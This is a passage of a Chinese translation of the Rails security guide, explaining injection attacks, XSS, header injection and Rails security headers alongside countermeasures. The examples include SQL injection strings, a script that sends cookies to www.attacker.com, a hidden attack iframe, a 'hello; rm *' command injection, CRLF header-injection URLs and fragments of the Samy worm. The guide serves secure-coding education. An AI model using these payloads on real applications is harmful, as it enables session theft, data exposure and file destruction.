- 这将使攻击起作用:
允许列表也是抵御忘记限制列表中某些内容的人为因素的一种好方法。
6.2 SQL 注入
由于巧妙的方法,这在大多数 Rails 应用程序中几乎不是问题。然而,这是一种非常具有破坏性和常见的 Web 应用程序攻击,因此了解问题非常重要。
6.2.1 简介
SQL 注入攻击旨在通过操纵 Web 应用程序参数来影响数据库查询。SQL 注入攻击的常见目标是绕过授权。另一个目标是执行数据操作或读取任意数据。以下是一个关于如何在查询中不使用用户输入数据的示例
Project.where("name = '#{params[:name]}'")
这可能在搜索操作中,用户可能输入想要查找的项目的名称。如果恶意用户输入 ' OR 1) --
,则生成的 SQL 查询将为
SELECT * FROM projects WHERE (name = '' OR 1) --')
两个破折号开始一个注释,忽略它之后的所有内容。因此,查询返回项目表中的所有记录,包括对用户隐藏的记录。这是因为条件对所有记录都为真。
6.2.2 绕过授权
通常,Web 应用程序包含访问控制。用户输入其登录凭据,Web 应用程序尝试在用户表中找到匹配的记录。应用程序在找到记录时授予访问权限。但是,攻击者可能会使用 SQL 注入绕过此检查。以下显示了 Rails 中用于查找与用户提供的登录凭据参数匹配的用户表中的第一条记录的典型数据库查询。
User.find_by("login = '#{params[:name]}' AND password = '#{params[:password]}'")
如果攻击者输入 ' OR '1'='1
作为名称,并且输入 ' OR '2'>'1
作为密码,则生成的 SQL 查询将为
SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
这将简单地找到数据库中的第一条记录,并授予此用户访问权限。
6.2.3 未经授权的读取
UNION 语句连接两个 SQL 查询,并将数据返回到一个集合中。攻击者可以使用它从数据库中读取任意数据。让我们以上面的例子为例
Project.where("name = '#{params[:name]}'")
现在让我们使用 UNION 语句注入另一个查询
') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
这将导致以下 SQL 查询
SELECT * FROM projects WHERE (name = '') UNION
SELECT id,login AS name,password AS description,1,1,1 FROM users --'
结果将不是项目列表(因为没有名为空的项目),而是一个用户名及其密码列表。因此,希望您在数据库中安全地散列了密码!攻击者唯一的问题是,两个查询中的列数必须相同。这就是为什么第二个查询包含一个值始终为 1 的数字列表(1),以匹配第一个查询中的列数。
此外,第二个查询使用 AS 语句重命名了一些列,以便 Web 应用程序显示来自用户表的值。
6.2.4 对策
Ruby on Rails 内置了一个用于特殊 SQL 字符的过滤器,该过滤器将转义 '
、"
、NULL 字符和换行符。 *使用 Model.find(id)
或 Model.find_by_something(something)
会自动应用此对策*。但在 SQL 片段中,尤其是在 *条件片段(where("...")
)中,connection.execute()
或 Model.find_by_sql()
方法必须手动应用*。
您可以使用位置句柄来清理被污染的字符串,而不是传递字符串,如下所示
Model.where("zip_code = ? AND quantity >= ?", entered_zip_code, entered_quantity).first
第一个参数是带有问号的 SQL 片段。第二个和第三个参数将用变量的值替换问号。
您还可以使用命名句柄,值将从使用的哈希中获取
values = { zip: entered_zip_code, qty: entered_quantity }
Model.where("zip_code = :zip AND quantity >= :qty", values).first
此外,您可以拆分和链接适合您的用例的条件语句
Model.where(zip_code: entered_zip_code).where("quantity >= ?", entered_quantity).first
请注意,之前提到的对策仅在模型实例中可用。您可以尝试sanitize_sql
在其他地方。 *在使用外部字符串时,养成思考安全后果的习惯*。
6.3 跨站点脚本 (XSS)
Web 应用程序中最普遍且破坏性最大的安全漏洞之一是 XSS。这种恶意攻击会注入客户端可执行代码。Rails 提供了辅助方法来防御这些攻击。
6.3.1 入口点
入口点是攻击者可以发起攻击的易受攻击的 URL 及其参数。
最常见的入口点是消息帖子、用户评论和留言板,但项目标题、文档名称和搜索结果页面也容易受到攻击 - 几乎所有用户可以输入数据的地方。但是,输入不一定来自网站上的输入框,它可以位于任何 URL 参数中 - 明显的、隐藏的或内部的。请记住,用户可能会拦截任何流量。应用程序或客户端代理可以轻松地更改请求。还有其他攻击媒介,如横幅广告。
XSS 攻击的工作原理如下:攻击者注入一些代码,Web 应用程序保存它并在页面上显示它,随后呈现给受害者。大多数 XSS 示例只是显示一个警报框,但它比这更强大。XSS 可以窃取 cookie、劫持会话、将受害者重定向到虚假网站、为攻击者利益显示广告、更改网站上的元素以获取机密信息或通过 Web 浏览器中的安全漏洞安装恶意软件。
在 2007 年下半年,Mozilla 浏览器报告了 88 个漏洞,Safari 报告了 22 个漏洞,IE 报告了 18 个漏洞,Opera 报告了 12 个漏洞。Symantec 全球互联网安全威胁报告还记录了 2007 年最后六个月的 239 个浏览器插件漏洞。Mpack 是一个非常活跃且最新的攻击框架,它利用了这些漏洞。对于犯罪黑客来说,利用 Web 应用程序框架中的 SQL 注入漏洞,并在每个文本表列中插入恶意代码非常具有吸引力。2008 年 4 月,超过 510,000 个网站遭到此类攻击,其中包括英国政府、联合国以及更多高调目标。
6.3.2 HTML/JavaScript 注入
最常见的 XSS 语言当然是最流行的客户端脚本语言 JavaScript,通常与 HTML 结合使用。 *转义用户输入至关重要*。
以下是检查 XSS 的最直接测试
<script>alert('Hello');</script>
此 JavaScript 代码将简单地显示一个警报框。接下来的示例完全相同,只是在非常不寻常的地方
<img src="javascript:alert('Hello')">
<table background="javascript:alert('Hello')">
6.3.2.1 Cookie 窃取
到目前为止,这些示例没有造成任何危害,所以让我们看看攻击者如何窃取用户的 cookie(从而劫持用户的会话)。在 JavaScript 中,您可以使用 document.cookie
属性来读取和写入文档的 cookie。JavaScript 强制实施相同来源策略,这意味着来自一个域的脚本无法访问另一个域的 cookie。document.cookie
属性保存源 Web 服务器的 cookie。但是,如果您直接将代码嵌入 HTML 文档中(如 XSS 中发生的那样),则可以读取和写入此属性。将此代码注入 Web 应用程序中的任何位置,以在结果页面上查看您自己的 cookie
<script>document.write(document.cookie);</script>
对于攻击者来说,当然,这没有用,因为受害者会看到自己的 cookie。下一个示例将尝试从 URL http://www.attacker.com/ 加载图像,加上 cookie。当然,此 URL 不存在,因此浏览器不会显示任何内容。但攻击者可以查看其 Web 服务器的访问日志文件以查看受害者的 cookie。
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
www.attacker.com 上的日志文件将读取如下
GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
您可以通过向 cookie 添加 httpOnly 标志来缓解这些攻击(以明显的方式),这样 document.cookie
就无法被 JavaScript 读取。从 IE v6.SP1、Firefox v2.0.0.5、Opera 9.5、Safari 4 和 Chrome 1.0.154 开始,可以使用 HTTP only cookie。但是,其他较旧的浏览器(如 WebTV 和 Mac 上的 IE 5.5)实际上会导致页面无法加载。请注意,尽管cookie 仍然可以使用 Ajax 访问。
6.3.2.2 篡改
使用网页篡改,攻击者可以做很多事情,例如,呈现虚假信息或诱使受害者访问攻击者的网站以窃取 cookie、登录凭据或其他敏感数据。最流行的方法是通过 iframe 包含来自外部来源的代码
<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>
这会从外部来源加载任意 HTML 和/或 JavaScript,并将其嵌入到网站中。这个 iframe
来自针对意大利合法网站的真实攻击,使用的是 Mpack 攻击框架。Mpack 试图通过 Web 浏览器的安全漏洞安装恶意软件 - 非常成功,50% 的攻击都成功了。
更专业的攻击可能会覆盖整个网站或显示一个登录表单,它看起来与网站的原始登录表单相同,但会将用户名和密码传输到攻击者的网站。或者它可以使用 CSS 和/或 JavaScript 在 Web 应用程序中隐藏一个合法链接,并在其位置显示另一个链接,该链接会重定向到一个虚假网站。
反射注入攻击是指攻击者不会将有效载荷存储起来供受害者以后使用,而是将其包含在 URL 中。尤其是搜索表单未能转义搜索字符串。以下链接呈现了一个页面,该页面声称“乔治·布什任命了一个 9 岁的男孩担任主席……”
http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
<script src=http://www.securitylab.ru/test/sc.js></script><!--
6.3.2.3 对策
过滤恶意输入非常重要,但转义 Web 应用程序的输出也很重要.
特别是对于 XSS,重要的是要进行 *允许输入过滤而不是限制*。允许列表过滤指定允许的值,而不是不允许的值。限制列表永远不会完整。
想象一下,一个限制列表从用户输入中删除 "script"
。现在攻击者注入 "<scrscriptipt>"
,过滤后,"<script>"
仍然存在。Rails 的早期版本对 strip_tags()
、strip_links()
和 sanitize()
方法使用了一种限制列表方法。因此,这种类型的注入是可能的
strip_tags("some<<b>script>alert('hello')<</b>/script>")
这返回了 "some<script>alert('hello')</script>"
,这使攻击得以实现。这就是为什么允许列表方法更好,使用更新的 Rails 2 方法 sanitize()
tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(user_input, tags: tags, attributes: %w(href title))
这仅允许给定的标签,并且即使针对各种技巧和格式错误的标签也能很好地工作。
Action View 和 Action Text 都在其 清理助手 上构建了 rails-html-sanitizer gem。
作为第二步,*将应用程序的所有输出转义是一个很好的做法*,尤其是在重新显示未经过输入过滤的用户输入时(如之前的搜索表单示例)。*使用 html_escape()
(或其别名 h()
)方法* 将 HTML 输入字符 &
、"
、<
和 >
替换为它们在 HTML 中的无解释表示形式(&
、"
、<
和 >
)。
6.3.2.4 混淆和编码注入
网络流量主要基于有限的西方字母表,因此出现了新的字符编码,例如 Unicode,用于传输其他语言的字符。但是,这也对 Web 应用程序构成了威胁,因为恶意代码可以隐藏在不同的编码中,这些编码 Web 浏览器可能能够处理,但 Web 应用程序可能无法处理。以下是在 UTF-8 编码中的攻击向量
<img src=javascript:a
lert('XSS')>
此示例弹出一个消息框。尽管它会被上面的 sanitize()
过滤器识别。一个用于混淆和编码字符串的强大工具,可以帮助你“了解你的敌人”,就是 Hackvertor。Rails 的 sanitize()
方法在抵御编码攻击方面做得很好。
6.3.3 来自地下世界的示例
为了了解当今针对 Web 应用程序的攻击,最好看看一些现实世界的攻击向量。
以下是 Js.Yamanner@m Yahoo! Mail 蠕虫 的摘录。它出现在 2006 年 6 月 11 日,是第一个 Web 邮件界面蠕虫
<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
target=""onload="var http_request = false; var Email = '';
var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ...
蠕虫利用了 Yahoo 的 HTML/JavaScript 过滤器中的一个漏洞,该过滤器通常会过滤掉所有目标和标签中的 onload 属性(因为可能存在 JavaScript)。但是,该过滤器仅应用一次,因此带有蠕虫代码的 onload 属性会保留在原位。这是一个很好的例子,说明为什么限制列表过滤器永远不会完整,以及为什么在 Web 应用程序中允许 HTML/JavaScript 很困难。
另一个概念验证 Web 邮件蠕虫是 Nduja,它是一个针对四家意大利 Web 邮件服务的跨域蠕虫。在 Rosario Valotta 的论文 中可以找到更多详细信息。这两个 Web 邮件蠕虫的目标都是收集电子邮件地址,这是犯罪黑客可以从中获利的行为。
2006 年 12 月,在一次 MySpace 钓鱼攻击 中,窃取了 34,000 个真实用户名和密码。攻击的思路是创建一个名为“login_home_index_html”的个人资料页面,因此 URL 看起来非常有说服力。使用精心制作的 HTML 和 CSS 来隐藏页面中的真实 MySpace 内容,并改为显示自己的登录表单。
6.4 CSS 注入
CSS 注入实际上是 JavaScript 注入,因为某些浏览器(IE、某些版本的 Safari 等)允许 CSS 中使用 JavaScript。在允许 Web 应用程序使用自定义 CSS 时要三思而后行。
著名的 MySpace Samy 蠕虫 最好地解释了 CSS 注入。该蠕虫只是通过访问 Samy(攻击者)的个人资料,就会自动向 Samy 发送好友请求。在几个小时内,他收到了超过 100 万个好友请求,造成了如此多的流量,以至于 MySpace 离线了。以下是该蠕虫的技术解释。
MySpace 阻止了许多标签,但允许使用 CSS。因此,蠕虫的作者将 JavaScript 放入 CSS 中,如下所示
<div style="background:url('javascript:alert(1)')">
因此,有效载荷位于 style 属性中。但有效载荷中不允许使用引号,因为单引号和双引号已经被使用。但 JavaScript 有一个方便的 eval()
函数,它可以将任何字符串作为代码执行。
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
eval()
函数对于限制列表输入过滤器来说是一场噩梦,因为它允许 style 属性隐藏单词“innerHTML”
alert(eval('document.body.inne' + 'rHTML'));
下一个问题是 MySpace 过滤掉了单词 "javascript"
,因此作者使用 "java<NEWLINE>script"
来绕过这个问题
<div id="mycode" expr="alert('hah!')" style="background:url('java↵script:eval(document.all.mycode.expr)')">
蠕虫作者遇到的另一个问题是 CSRF 安全令牌。如果没有它们,他就无法通过 POST 发送好友请求。他通过在添加用户之前发送一个 GET 请求到该页面,并解析结果以获取 CSRF 令牌来绕过这个问题。
最后,他得到一个 4 KB 的蠕虫,并将其注入到他的个人资料页面中。
moz-binding
CSS 属性被证明是另一种在基于 Gecko 的浏览器(例如 Firefox)中将 JavaScript 引入 CSS 的方法。
6.4.1 对策
此示例再次表明,限制列表过滤器永远不会完整。但是,由于 Web 应用程序中的自定义 CSS 是一种非常罕见的功能,因此可能难以找到一个好的允许 CSS 过滤器。*如果你想允许自定义颜色或图像,你可以允许用户选择它们并在 Web 应用程序中构建 CSS*。如果你确实需要一个允许 CSS 过滤器,请使用 Rails 的 sanitize()
方法作为模型。
6.5 Textile 注入
如果你想提供除 HTML 之外的文本格式(出于安全原因),请使用一种在服务器端转换为 HTML 的标记语言。 RedCloth 是 Ruby 的一种此类语言,但如果没有采取预防措施,它也会容易受到 XSS 的攻击。
例如,RedCloth 将 _test_
转换为 <em>test<em>
,使文本变为斜体。但是,RedCloth 默认情况下不会过滤不安全的 html 标签
RedCloth.new("<script>alert(1)</script>").to_html
# => "<script>alert(1)</script>"
使用 :filter_html
选项删除由 Textile 处理器未创建的 HTML。
RedCloth.new("<script>alert(1)</script>", [:filter_html]).to_html
# => "alert(1)"
但是,这不会过滤所有 HTML,一些标签将被保留(出于设计原因),例如 <a>
RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
# => "<p><a href="javascript:alert(1)">hello</a></p>"
6.5.1 对策
建议*将 RedCloth 与允许输入过滤器结合使用*,如针对 XSS 部分的对策中所述。
6.6 Ajax 注入
对于 Ajax 操作,必须采取与“正常”操作相同的安全预防措施。但是,至少有一个例外:如果操作不渲染视图,则必须在控制器中转义输出。
如果你使用 in_place_editor 插件 或返回字符串而不是渲染视图的操作,*你必须在操作中转义返回值*。否则,如果返回值包含 XSS 字符串,则恶意代码将在返回到浏览器时执行。使用 h()
方法转义任何输入值。
6.7 命令行注入
谨慎使用用户提供的命令行参数。
如果你的应用程序必须在底层操作系统中执行命令,Ruby 中有几种方法:system(command)
、exec(command)
、spawn(command)
和 `command`
。如果用户可以输入整个命令或其一部分,则必须特别小心使用这些函数。这是因为在大多数 shell 中,你可以在第一个命令的末尾执行另一个命令,用分号 (;
) 或竖线 (|
) 将它们连接起来。
user_input = "hello; rm *"
system("/bin/echo #{user_input}")
# prints "hello", and deletes files in the current directory
一种对策是*使用 system(command, parameters)
方法,该方法可以安全地传递命令行参数*。
system("/bin/echo", "hello; rm *")
# prints "hello; rm *" and does not delete files
6.7.1 Kernel#open 的漏洞
Kernel#open
如果参数以竖线 (|
) 开头,则会执行操作系统命令。
open("| ls") { |file| file.read }
# returns file list as a String via `ls` command
对策是改为使用 File.open
、IO.open
或 URI#open
。它们不会执行操作系统命令。
File.open("| ls") { |file| file.read }
# doesn't execute `ls` command, just opens `| ls` file if it exists
IO.open(0) { |file| file.read }
# opens stdin. doesn't accept a String as the argument
require "open-uri"
URI("https://example.com").open { |file| file.read }
# opens the URI. `URI()` doesn't accept `| ls`
6.8 标头注入
HTTP 标头是动态生成的,在某些情况下,用户输入可能会被注入。这会导致错误重定向、XSS 或 HTTP 响应拆分。
HTTP 请求标头有 Referer、User-Agent(客户端软件)和 Cookie 字段,以及其他字段。例如,响应标头具有状态代码、Cookie 和 Location(重定向目标 URL)字段。它们都是用户提供的,可以或多或少地进行操作。*请记住转义这些标头字段*。例如,当你在管理区域显示用户代理时。
除此之外,*了解在部分基于用户输入构建响应标头时的操作很重要*。例如,你想将用户重定向回特定页面。为此,你在表单中引入了一个“referer”字段以重定向到给定地址
redirect_to params[:referer]
发生的情况是,Rails 将字符串放入 Location
标头字段中,并向浏览器发送 302(重定向)状态。恶意用户会做的第一件事是
http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
由于(Ruby 和)Rails 版本 2.1.2(不包括它)中的一个 bug,黑客可以注入任意标头字段;例如,如下所示
http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
请注意,%0d%0a
是 \r\n
的 URL 编码,它在 Ruby 中是回车符和换行符 (CRLF)。因此,由于第二个 Location 标头字段覆盖了第一个标头字段,因此第二个示例的结果 HTTP 标头将如下所示。
HTTP/1.1 302 Moved Temporarily
(...)
Location: http://www.malicious.tld
因此,*标头注入的攻击向量是基于在标头字段中注入 CRLF 字符*。攻击者可以通过错误重定向做什么?他们可以重定向到一个看起来与你的网站相同的钓鱼网站,但要求你再次登录(并将登录凭据发送给攻击者)。或者,他们可以通过该网站上的浏览器安全漏洞安装恶意软件。Rails 2.1.2 在 redirect_to
方法中为 Location 字段转义了这些字符。*当你使用用户输入构建其他标头字段时,请确保你自己也这样做*。
6.8.1 DNS 重绑定和主机标头攻击
DNS 重绑定是一种用于操纵域名解析的方法,通常用作计算机攻击的一种形式。DNS 重绑定绕过同源策略,而是滥用域名系统 (DNS)。它将一个域名重新绑定到不同的 IP 地址,然后通过从更改的 IP 地址对您的 Rails 应用程序执行随机代码来破坏系统。
建议使用ActionDispatch::HostAuthorization
中间件来防御 DNS 重绑定和其他 Host 标头攻击。它在开发环境中默认启用,您需要在生产环境和其他环境中通过设置允许的主机列表来激活它。您还可以配置异常并设置您自己的响应应用程序。
Rails.application.config.hosts << "product.com"
Rails.application.config.host_authorization = {
# Exclude requests for the /healthcheck/ path from host checking
exclude: ->(request) { request.path.include?("healthcheck") },
# Add custom Rack application for the response
response_app: -> env do
[400, { "Content-Type" => "text/plain" }, ["Bad Request"]]
end
}
您可以在ActionDispatch::HostAuthorization
中间件文档 中了解更多信息。
6.8.2 响应拆分
如果可以进行标头注入,则也可能进行响应拆分。在 HTTP 中,标头块后面跟着两个 CRLF 和实际数据(通常是 HTML)。响应拆分的思路是将两个 CRLF 注入到一个标头字段中,后面跟着另一个带有恶意 HTML 的响应。响应将是
HTTP/1.1 302 Found [First standard 302 response]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Location:Content-Type: text/html
HTTP/1.1 200 OK [Second New response created by attacker begins]
Content-Type: text/html
<html><font color=red>hey</font></html> [Arbitrary malicious input is
Keep-Alive: timeout=15, max=100 shown as the redirected page]
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
在某些情况下,这会将恶意 HTML 展示给受害者。但是,这似乎只适用于 Keep-Alive 连接(许多浏览器使用一次性连接)。但您不能依赖于此。无论如何,这是一个严重的错误,您应该将 Rails 更新到 2.0.5 或 2.1.2 版本以消除标头注入(以及响应拆分)风险。
7 不安全的查询生成
由于 Active Record 解释参数的方式与 Rack 解析查询参数的方式相结合,因此有可能使用IS NULL
where 子句发出意外的数据库查询。为了解决这个安全问题(CVE-2012-2660,CVE-2012-2694 和 CVE-2013-0155),deep_munge
方法被引入作为解决方案,以默认方式保持 Rails 安全。
如果未执行deep_munge
,攻击者可以使用易受攻击的代码示例,如
unless params[:token].nil?
user = User.find_by_token(params[:token])
user.reset_password!
end
当params[:token]
为以下之一:[nil]
、[nil, nil, ...]
或 ['foo', nil]
时,它将绕过对nil
的测试,但IS NULL
或IN ('foo', NULL)
where 子句仍然会添加到 SQL 查询中。
为了默认保持 Rails 安全,deep_munge
将某些值替换为nil
。下表显示了基于请求中发送的JSON
的参数看起来像什么
JSON | 参数 |
---|---|
{ "person": null } |
{ :person => nil } |
{ "person": [] } |
{ :person => [] } |
{ "person": [null] } |
{ :person => [] } |
{ "person": [null, null, ...] } |
{ :person => [] } |
{ "person": ["foo", null] } |
{ :person => ["foo"] } |
如果您了解风险并知道如何处理,则可以返回到旧的行为并禁用deep_munge
配置您的应用程序。
config.action_dispatch.perform_deep_munge = false
8 HTTP 安全标头
为了提高应用程序的安全性,Rails 可以配置为返回 HTTP 安全标头。某些标头在默认情况下配置;其他标头需要显式配置。
8.1 默认安全标头
默认情况下,Rails 被配置为返回以下响应标头。您的应用程序会为每个 HTTP 响应返回这些标头。
8.1.1 X-Frame-Options
该X-Frame-Options
标头指示浏览器是否可以在<frame>
、<iframe>
、<embed>
或<object>
标签中渲染页面。此标头默认设置为SAMEORIGIN
,仅允许在同一域上进行框架。将其设置为DENY
以完全禁止框架,或者如果您要允许在所有域上进行框架,则完全删除此标头。
8.1.2 X-XSS-Protection
一个已弃用的旧标头,在 Rails 中默认设置为0
以禁用有问题的旧版 XSS 审核器。
8.1.3 X-Content-Type-Options
该X-Content-Type-Options
标头在 Rails 中默认设置为nosniff
。它阻止浏览器猜测文件的 MIME 类型。
8.1.4 X-Permitted-Cross-Domain-Policies
此标头在 Rails 中默认设置为none
。它禁止 Adobe Flash 和 PDF 客户端在其他域上嵌入您的页面。
8.1.5 Referrer-Policy
该Referrer-Policy
标头在 Rails 中默认设置为strict-origin-when-cross-origin
。对于跨域请求,这只会将来源发送到 Referer 标头中。这防止了可能从完整 URL 的其他部分(例如路径和查询字符串)访问的私有数据的泄露。
8.1.6 配置默认标头
这些标头在默认情况下配置如下
config.action_dispatch.default_headers = {
"X-Frame-Options" => "SAMEORIGIN",
"X-XSS-Protection" => "0",
"X-Content-Type-Options" => "nosniff",
"X-Permitted-Cross-Domain-Policies" => "none",
"Referrer-Policy" => "strict-origin-when-cross-origin"
}
您可以在config/application.rb
中覆盖这些标头或添加额外的标头
config.action_dispatch.default_headers["X-Frame-Options"] = "DENY"
config.action_dispatch.default_headers["Header-Name"] = "Value"
或者您可以删除它们
config.action_dispatch.default_headers.clear
8.2 Strict-Transport-Security
标头
HTTP Strict-Transport-Security
(HSTS) 响应标头确保浏览器自动将当前和未来的连接升级到 HTTPS。
当启用force_ssl
选项时,标头将添加到响应中
config.force_ssl = true
8.3 Content-Security-Policy
标头
为了帮助防御 XSS 和注入攻击,建议为您的应用程序定义一个Content-Security-Policy
响应标头。Rails 提供了一个 DSL,允许您配置标头。
在适当的初始化文件中定义安全策略
# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
policy.default_src :self, :https
policy.font_src :self, :https, :data
policy.img_src :self, :https, :data
policy.object_src :none
policy.script_src :self, :https
policy.style_src :self, :https
# Specify URI for violation reports
policy.report_uri "/csp-violation-report-endpoint"
end
全局配置的策略可以在每个资源的基础上被覆盖
class PostsController < ApplicationController
content_security_policy do |policy|
policy.upgrade_insecure_requests true
policy.base_uri "https://www.example.com"
end
end
或者可以禁用它
class LegacyPagesController < ApplicationController
content_security_policy false, only: :index
end
使用 lambda 来注入每个请求的值,例如多租户应用程序中的帐户子域
class PostsController < ApplicationController
content_security_policy do |policy|
policy.base_uri :self, -> { "https://#{current_user.domain}.example.com" }
end
end
8.3.1 报告违规
启用report-uri
指令以将违规情况报告到指定的 URI
Rails.application.config.content_security_policy do |policy|
policy.report_uri "/csp-violation-report-endpoint"
end
迁移旧版内容时,您可能希望在不强制执行策略的情况下报告违规情况。设置Content-Security-Policy-Report-Only
响应标头仅报告违规情况
Rails.application.config.content_security_policy_report_only = true
或者在控制器中覆盖它
class PostsController < ApplicationController
content_security_policy_report_only only: :index
end
8.3.2 添加一个 nonce
如果您正在考虑使用'unsafe-inline'
,请考虑改用 nonce。在现有代码之上实现内容安全策略时,nonce 提供了比'unsafe-inline'
更好的改进。
# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
policy.script_src :self, :https
end
Rails.application.config.content_security_policy_nonce_generator = -> request { SecureRandom.base64(16) }
配置 nonce 生成器时需要考虑一些权衡。使用SecureRandom.base64(16)
是一个很好的默认值,因为它将为每个请求生成一个新的随机 nonce。但是,此方法与条件 GET 缓存 不兼容,因为新的 nonce 会导致每个请求的 ETag 值都不同。另一种方法是使用会话 ID,而不是每次请求都使用随机 nonce
Rails.application.config.content_security_policy_nonce_generator = -> request { request.session.id.to_s }
这种生成方法与 ETag 兼容,但是它的安全性取决于会话 ID 是否足够随机并且不会在不安全的 cookie 中公开。
默认情况下,如果定义了 nonce 生成器,则 nonce 将应用于script-src
和style-src
。config.content_security_policy_nonce_directives
可用于更改哪些指令将使用 nonce
Rails.application.config.content_security_policy_nonce_directives = %w(script-src)
在初始化文件中配置 nonce 生成后,可以通过将nonce: true
作为html_options
的一部分传递,将自动 nonce 值添加到脚本标签中
<%= javascript_tag nonce: true do -%>
alert('Hello, World!');
<% end -%>
javascript_include_tag
和stylesheet_link_tag
也一样。
<%= javascript_include_tag "script", nonce: true %>
<%= stylesheet_link_tag "style.css", nonce: true %>
使用csp_meta_tag
帮助器来创建一个带有每个会话 nonce 值的元标签“csp-nonce”,以允许内联<script>
标签。
<head>
<%= csp_meta_tag %>
</head>
这由 Rails UJS 帮助器用来创建动态加载的内联<script>
元素。
8.4 Feature-Policy
标头
Feature-Policy
标头已重命名为Permissions-Policy
。Permissions-Policy
需要不同的实现,并且尚未受到所有浏览器的支持。为了避免将来不得不重命名此中间件,我们使用新名称作为中间件,但目前保留旧标头名称和实现。
为了允许或阻止使用浏览器功能,您可以为应用程序定义一个Feature-Policy
响应标头。Rails 提供了一个 DSL,允许您配置标头。
在适当的初始化文件中定义策略
# config/initializers/permissions_policy.rb
Rails.application.config.permissions_policy do |policy|
policy.camera :none
policy.gyroscope :none
policy.microphone :none
policy.usb :none
policy.fullscreen :self
policy.payment :self, "https://secure.example.com"
end
全局配置的策略可以在每个资源的基础上被覆盖
class PagesController < ApplicationController
permissions_policy do |policy|
policy.geolocation "https://example.com"
end
end
8.5 跨域资源共享
浏览器限制从脚本发起的跨域 HTTP 请求。如果您想将 Rails 作为 API 运行,并在单独的域上运行前端应用程序,则需要启用跨域资源共享 (CORS)。
您可以使用Rack CORS 中间件来处理 CORS。如果您使用--api
选项生成了应用程序,则 Rack CORS 可能已经配置,您可以跳过以下步骤。
要开始使用,请将 rack-cors gem 添加到您的 Gemfile 中
gem "rack-cors"
接下来,添加一个初始化文件来配置中间件
# config/initializers/cors.rb
Rails.application.config.middleware.insert_before 0, Rack::Cors do
allow do
origins "example.com"
resource "*",
headers: :any,
methods: [:get, :post, :put, :patch, :delete, :options, :head]
end
end
9 内联网和管理员安全
内联网和管理界面是流行的攻击目标,因为它们允许特权访问。虽然这需要采取一些额外的安全措施,但在现实世界中恰恰相反。
2007 年出现了第一个专门针对内联网窃取信息的木马,即 Monster.com 的在线招聘 Web 应用程序“Monster for employers”网站。到目前为止,专门定制的木马非常少见,风险相当低,但它确实是一个可能性,也是一个例子,说明客户端主机的安全性也很重要。但是,对内联网和管理员应用程序的最大威胁是 XSS 和 CSRF。
9.1 跨站点脚本
如果您的应用程序从外联网重新显示恶意用户输入,则该应用程序将容易受到 XSS 攻击。用户名、评论、垃圾邮件举报、订单地址只是一些不常见的示例,其中可能存在 XSS。
在管理员界面或内联网中有一个地方,输入没有被清理,就会使整个应用程序变得脆弱。可能的漏洞包括窃取特权管理员的 cookie,注入 iframe 以窃取管理员的密码,或通过浏览器安全漏洞安装恶意软件以接管管理员的计算机。
请参阅注入部分,了解针对 XSS 的防御措施。
9.2 跨站点请求伪造
跨站请求伪造 (CSRF),也称为跨站引用伪造 (XSRF),是一种巨大的攻击方法,它允许攻击者执行管理员或内联网用户可以执行的所有操作。如您所见,CSRF 的工作原理如下,以下是一些攻击者在内联网或管理员界面中可以执行的操作示例。
现实世界中的一个例子是 通过 CSRF 重新配置路由器。攻击者向墨西哥用户发送了一封包含 CSRF 的恶意电子邮件。这封电子邮件声称用户有一张电子贺卡在等候,但它还包含一个图像标签,导致向用户路由器(墨西哥流行的型号)发送一个 HTTP-GET 请求以重新配置路由器。该请求更改了 DNS 设置,以便对墨西哥银行网站的请求会被映射到攻击者的网站。通过该路由器访问银行网站的每个人都会看到攻击者伪造的网站,并被窃取其凭据。
另一个例子是更改 Google Adsense 的电子邮件地址和密码。如果受害者登录了 Google Adsense(Google 广告系列管理界面),攻击者可以更改受害者的凭据。
另一种流行的攻击是向您的 Web 应用程序、博客或论坛发送垃圾邮件,以传播恶意的 XSS。当然,攻击者必须知道 URL 结构,但大多数 Rails URL 都非常简单,或者如果它是开源应用程序的管理员界面,则很容易找出。攻击者甚至可以通过包含恶意的 IMG 标签来进行 1,000 次幸运猜测,这些标签会尝试所有可能的组合。
有关针对管理界面和内联网应用程序的 CSRF 的对策,请参阅 CSRF 部分的对策。
9.3 其他注意事项
常见的管理员界面工作方式如下:它位于 www.example.com/admin,只有在 User 模型中设置了管理员标志时才能访问,会重新显示用户输入并允许管理员删除/添加/编辑任何所需数据。以下是一些关于这方面的想法
非常重要的是要考虑最坏的情况:如果有人真的获得了您的 cookie 或用户凭据怎么办?您可以为管理员界面引入角色,以限制攻击者可能采取的操作。或者如何为管理员界面使用特殊的登录凭据,而不是用于应用程序公共部分的凭据。或者为非常严重的行动使用特殊的密码?
管理员真的需要从世界各地访问界面吗?考虑将登录限制在一组源 IP 地址。检查 request.remote_ip 以了解用户的 IP 地址。这并不是万无一失的方法,但它是一个很好的屏障。请记住,可能正在使用代理。
将管理员界面放到一个特殊的子域,例如 admin.application.com,并将其作为一个独立的应用程序,具有自己的用户管理系统。这将使从通常的域 www.application.com 窃取管理员 cookie 变得不可能。这是因为浏览器中的同源策略:www.application.com 上的注入(XSS)脚本可能无法读取 admin.application.com 的 cookie,反之亦然。
10 环境安全
本指南的范围不包括向您介绍如何保护您的应用程序代码和环境。但是,请保护您的数据库配置,例如 config/database.yml
、credentials.yml
